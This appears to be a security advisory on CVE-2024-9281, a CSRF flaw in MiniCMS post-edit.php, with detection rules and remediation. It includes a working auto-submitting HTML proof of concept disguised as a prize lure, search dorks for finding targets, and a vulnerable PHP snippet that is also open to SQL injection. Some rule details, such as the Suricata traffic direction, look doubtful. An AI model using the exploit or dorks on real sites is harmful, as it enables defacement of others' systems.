CVE-2024-9281

SHADOW_DORKS: ["MiniCMS post-edit.php", "bg5sbk MiniCMS"]

Executive Summary

CVE-2024-9281 is a Cross-Site Request Forgery (CSRF) vulnerability identified in bg5sbk MiniCMS versions up to and including 1.11. The flaw resides in the post-edit.php file, allowing an attacker to craft a malicious request that, when executed by an authenticated administrator, can modify or delete posts without their consent. The attack vector is remote, requiring user interaction (e.g., clicking a link). The vendor has not responded to disclosure attempts, leaving the software unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of a proof-of-concept (PoC) increases risk for unpatched instances.

Supply Chain & Package Security

This vulnerability affects a standalone PHP application (MiniCMS), not a package from NPM, PyPI, Go, or Ruby ecosystems. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires user interaction but can lead to unauthorized post modification or deletion, potentially defacing the CMS.

Deep Dive & Mechanics

The vulnerability exists in the post-edit.php script, which handles post creation and editing. The script does not implement any anti-CSRF tokens or origin validation. An attacker can craft a malicious HTML page or email containing a request to post-edit.php with parameters to delete or modify a post. When an authenticated admin visits the attacker-controlled page, their browser automatically sends the forged request, including any session cookies, leading to unauthorized actions.

Root Cause: Lack of CSRF protection mechanisms (e.g., nonce tokens, SameSite cookies, or Referer header validation) in the post-edit.php endpoint.

Attack Flow:

1. Attacker identifies a target MiniCMS instance with an authenticated admin session.
2. Attacker crafts a malicious link or form that sends a POST request to post-edit.php with parameters to delete a specific post (e.g., action=delete&id=1).
3. Attacker lures the admin to click the link or submit the form (e.g., via phishing email).
4. The admin's browser executes the request, including session cookies, and the post is deleted.

Vulnerable vs. Patched Code

Vulnerable Code (MiniCMS <= 1.11):

// post-edit.php (simplified)
if ($_POST['action'] == 'delete') {
    $id = $_POST['id'];
    // No CSRF check
    $db->query("DELETE FROM posts WHERE id = $id");
}

Patched Code (Hypothetical):

// post-edit.php (patched)
session_start();
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF validation failed');
}
if ($_POST['action'] == 'delete') {
    $id = intval($_POST['id']);
    $db->query("DELETE FROM posts WHERE id = $id");
}

Explanation: The patched version introduces a CSRF token stored in the session and validated on each state-changing request. Additionally, input sanitization (e.g., intval()) is applied to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target MiniCMS instance (version <= 1.11) with an authenticated admin session.
• Attacker-controlled web server or email client.

Exploit PoC (HTML):

<html>
<body>
<h1>Click the button to win a prize!</h1>
<form action="http://target.com/minicms/post-edit.php" method="POST">
    <input type="hidden" name="action" value="delete">
    <input type="hidden" name="id" value="1">
    <input type="submit" value="Claim Prize">
</form>
<script>
    // Auto-submit the form
    document.forms[0].submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to the authenticated admin via phishing email.
3. When the admin visits the page, the form auto-submits, deleting post ID 1.

Blue Team

Detection:

• Monitor for unexpected POST requests to post-edit.php with action=delete or action=edit from external referrers.
• Analyze server logs for unusual patterns (e.g., rapid deletion requests from a single IP).

Mitigation:

• Implement CSRF tokens as shown in the patched code.
• Validate the Referer header to ensure requests originate from the same site.
• Use SameSite=Strict or SameSite=Lax cookies for session cookies.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /minicms/post-edit.php with parameters action=delete and id=<number>.
  • Referer header pointing to an external domain.
• Host:
  • Unexpected deletion of posts in the CMS database.
  • Server logs showing post-edit.php accessed with suspicious query strings.
• File:
  • No specific file-based IOCs; the attack is request-based.

Detection Engineering

YARA Rule

rule CVE_2024_9281_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against MiniCMS post-edit.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9281"
    strings:
        $s1 = "action=delete" ascii wide nocase
        $s2 = "post-edit.php" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-9281 CSRF Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to MiniCMS post-edit.php with delete action
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/minicms/post-edit.php'
        cs-uri-query: 'action=delete*'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF is not implemented)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-9281 CSRF Exploit Attempt";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/minicms/post-edit.php";
    http.client_body; content:"action=delete";
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable MiniCMS if not critical, or restrict access to post-edit.php via .htaccess or firewall rules (e.g., allow only specific IPs).
2. Implement CSRF protection manually by adding a nonce token to forms and validating it server-side.
3. Apply input sanitization to all parameters in post-edit.php (e.g., intval() for IDs).

Long-Term Fix:

• Migrate to a maintained CMS with built-in CSRF protection.
• Monitor for official patches from the vendor (unlikely given unresponsiveness).

Workaround:

• Use a Web Application Firewall (WAF) to block requests to post-edit.php with action=delete unless originating from the admin panel.

Valters IT